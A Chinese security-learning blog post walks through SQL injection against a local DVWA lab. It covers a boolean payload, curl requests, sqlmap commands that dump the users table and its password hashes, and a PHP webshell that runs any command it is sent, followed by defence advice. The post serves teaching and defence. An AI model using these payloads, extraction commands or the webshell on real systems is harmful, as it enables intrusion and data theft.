【安全学习】DVWA 靶场 SQL 注入漏洞原理分析与防御策略(教育用途)

发布于:2025-09-01 ⋅ 阅读:(11) ⋅ 点赞:(0)

注意:本文内容仅用于合法授权的安全研究、教学演示及漏洞复现,严禁用于任何未授权的系统或网络环境。
所有操作需在本地沙箱或个人可控靶场中执行,切勿对生产环境、他人系统进行测试,非法使用后果自负。

📌 法律与道德双重声明

本文所涉及的技术与操作流程,核心目的是帮助安全学习者理解SQL注入漏洞的原理、危害及防御方法,仅适用于合法授权的安全测试场景(如个人搭建的DVWA靶场、企业内部授权的安全审计等)。

🚫 严禁以下行为

  1. 未经授权对任何第三方系统、网站实施渗透测试或漏洞利用;
  2. 利用本文技术获取他人数据、破坏系统功能或传播恶意程序;
  3. 将漏洞利用方法用于违反《网络安全法》《数据安全法》等法律法规的活动。

使用者必须在完全接受本声明的前提下阅读与操作,凡违反上述规定导致的法律责任(如刑事责任、民事赔偿),均由使用者自行承担,作者不承担任何关联责任。

📜 相关法律依据(中国)

  1. 《中华人民共和国网络安全法》第十二条:禁止任何组织或个人利用网络危害国家安全、损害社会公共利益,或侵犯他人合法权益;
  2. 《中华人民共和国刑法》第二百八十五条-第二百八十七条:非法入侵计算机信息系统、非法获取计算机信息系统数据、破坏计算机信息系统功能等行为,将依法追究刑事责任;
  3. 《中华人民共和国数据安全法》第三条、第十七条:数据处理活动需遵循合法、正当、必要原则,严禁非法收集、存储、传输他人数据。

一、实验环境准备:Docker搭建DVWA靶场

DVWA(Damn Vulnerable Web Application)是一款专门用于安全实验的脆弱性Web应用,需通过Docker快速搭建(本地环境,无网络风险)。

1. 安装Docker(以Ubuntu系统为例)

# 更新系统软件源
sudo apt update
# 安装Docker
sudo apt install -y docker.io

2. 拉取并运行DVWA镜像

# 拉取官方DVWA镜像
docker pull vulnerables/web-dvwa
# 启动容器(映射端口7997,--rm表示容器停止后自动删除)
docker run --rm -it -p 7997:80 vulnerables/web-dvwa

3. 访问并初始化靶场

  1. 打开浏览器,输入地址:http://localhost:7997
  2. 使用默认账号密码登录:admin / password
  3. 点击页面下方的 Create/Reset Database 按钮,完成数据库初始化(初始化后靶场才能正常使用)。

二、SQL注入漏洞测试:布尔注入验证

布尔注入是SQL注入的常见类型,核心原理是通过构造“永真条件”(如OR '1'='1'),让后台SQL语句返回异常结果,从而判断漏洞是否存在。

1. 构造注入 payload

在DVWA靶场的「SQL Injection」模块中,输入以下内容并提交:

OR '1'='1'

2. 漏洞原理分析

假设后台原始SQL查询语句为:

SELECT * FROM users WHERE password = '';  -- 正常查询(无结果)

当注入OR '1'='1'后,SQL语句变为:

SELECT * FROM users WHERE password = '' OR '1'='1';  -- 永真条件,返回所有用户数据

3. 测试结果

页面会返回数据库中所有用户的信息(示例如下),证明SQL注入漏洞存在:

ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso
...

布尔注入测试结果

三、获取关键Cookie:PHPSESSID与安全级别

SQL注入测试需携带用户会话Cookie(PHPSESSID)和靶场安全级别Cookie(security),否则会被靶场拦截或返回错误结果。

1. 浏览器获取Cookie(可视化方式)

  1. 打开浏览器开发者工具(F12),切换到「Application」(Chrome)或「存储」(Firefox)标签;
  2. 在「Cookie」→ http://localhost:7997 下,找到 PHPSESSIDsecurity 两个字段,记录其值(如 PHPSESSID=4g1116vseduecrmelkc6od8bi1security=low)。

Cookie获取示意图

2. 命令行获取Cookie(curl方式)

通过curl -I命令发送HEAD请求,从响应头中提取Cookie:

curl -I http://localhost:7997

输出示例(关键信息已标注):

HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/  # 会话ID
Set-Cookie: security=low; path=/  # 靶场安全级别(low为最低,适合测试)
Location: login.php

四、命令行验证注入点:curl工具实战

使用curl携带Cookie发送注入请求,进一步验证漏洞的可利用性(无需浏览器,适合自动化测试场景)。

1. 构造curl命令

注意:注入语句中的空格需替换为URL编码%20,避免命令解析错误:

curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&Submit=Submit" \
-H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"

2. 命令说明

  • -i:显示响应头和响应体;
  • -H "Cookie: ...":携带会话Cookie,模拟已登录状态;
  • id=1'%20OR%20'1'='1':注入 payload,构造永真条件。

3. 验证结果

若响应体中包含所有用户数据(如adminGordon等用户名),则证明注入点有效。

curl测试示意图

五、自动化探测注入类型:sqlmap工具使用

sqlmap是一款开源的SQL注入自动化工具,可自动探测注入类型(如布尔注入、时间盲注、UNION注入等),减少手动测试成本。

1. 探测注入类型命令

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
-p id --batch --level=2 --risk=1

2. 命令参数说明

  • -u:指定测试URL;
  • --cookie:携带会话Cookie;
  • -p id:指定测试参数为id
  • --batch:自动选择默认选项,无需手动交互;
  • --level=2:测试级别(1-5,级别越高测试越全面);
  • --risk=1:风险级别(1-3,风险越高越可能触发目标防御机制)。

3. 探测结果

sqlmap会输出注入类型(如“Boolean-based blind - Parameter: id”),并确认漏洞可利用。

六、漏洞利用:获取数据库与表结构

通过sqlmap进一步获取靶场数据库的详细信息,理解注入漏洞的危害范围。

1. 获取所有数据库列表

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
--dbs -p id --batch

输出会包含靶场的数据库(如dvwainformation_schema等),其中dvwa是DVWA应用的核心数据库。

数据库列表示意图

2. 获取dvwa数据库的表结构

指定-D dvwa参数,查询dvwa数据库下的所有表:

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
-D dvwa --tables -p id --batch

输出会包含users表(存储用户账号密码)、guestbook表(留言数据)等,其中users表是核心目标。

DVWA表结构示意图

3. 查询users表数据(获取账号密码)

通过--sql-query执行自定义SQL,读取users表的所有数据:

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low" \
--sql-query="SELECT * FROM dvwa.users;" -p id --batch

输出会包含所有用户的idusernamepassword(MD5加密)等信息,证明注入可导致敏感数据泄露。

用户表示例数据

七、风险延伸:WebShell植入演示(仅限受控环境)

SQL注入的严重危害之一是“写入文件”——若数据库权限足够,可通过注入语句向Web目录写入WebShell,实现对服务器的远程控制(此操作仅在个人靶场演示,严禁用于其他场景)。

1. PHP WebShell示例代码

<?php
// 简单WebShell(通过GET参数cmd执行系统命令)
if (isset($_REQUEST['cmd'])) {
    echo "<pre>";  // 格式化输出命令结果
    system($_REQUEST['cmd']);  // 执行系统命令
    echo "</pre>";
}
?>

2. 植入原理(补充说明)

在实际漏洞利用中,需通过SQL注入的INTO OUTFILE语句将上述代码写入Web目录(如/var/www/html/shell.php),但DVWA默认配置可能限制文件写入权限,此处仅作原理演示,不提供具体注入命令(避免滥用)。

WebShell示意图

八、安全启示:SQL注入防御方案

通过本次实验,可清晰看到SQL注入的危害链路:漏洞验证 → 数据泄露 → 权限提升 → 服务器控制。防御需从“代码、配置、运维”三层面入手:

1. 代码层面:杜绝注入根源

  • 使用预编译SQL(参数化查询):将SQL语句与参数分离,避免用户输入直接拼接进SQL(如Java的PreparedStatement、Python的pymysql参数化);
  • 输入过滤与转义:对用户输入的特殊字符(如';OR)进行转义或过滤,限制输入格式;
  • 使用ORM框架:如MyBatis、Hibernate等,框架自带注入防护机制,减少手动编码风险。

2. 配置层面:降低漏洞影响

  • 数据库最小权限原则:Web应用使用的数据库账号仅授予“必要权限”(如SELECT、INSERT),禁止授予FILE(文件写入)、DROP(删除表)等高危权限;
  • 限制Web目录权限:禁止Web服务器对Web目录拥有“写入权限”,防止WebShell植入;
  • 隐藏敏感信息:禁用数据库错误信息回显(如PHP的display_errors = Off),避免泄露SQL语句结构。

3. 运维层面:持续监控与响应

  • 定期漏洞扫描:使用工具(如Nessus、AWVS)定期扫描Web应用,及时发现注入等漏洞;
  • 日志审计:记录SQL执行日志、Web访问日志,异常操作(如大量包含OR '1'='1的请求)及时告警;
  • 及时更新补丁:定期更新Web服务器、数据库、应用框架的补丁,修复已知漏洞。

📣 最终声明(再次强调)

本文所有操作均在本地沙箱环境中完成,使用的DVWA靶场是专门用于安全实验的开源项目,无任何实际网络危害。

技术本身无善恶,但其使用边界必须严格遵守法律法规与道德准则。作为安全学习者,应始终牢记:

  • 所有安全测试必须获得明确书面授权
  • 不得利用技术侵犯他人权益或破坏网络安全;
  • 以“防御”为核心目标,通过漏洞测试推动系统安全加固。

若有人违反上述原则,滥用本文技术实施违法犯罪行为,一切法律责任与后果均由其自行承担,作者不承担任何关联责任。

希望本文能帮助大家深入理解SQL注入漏洞,提升安全防护意识,共同维护健康的网络环境!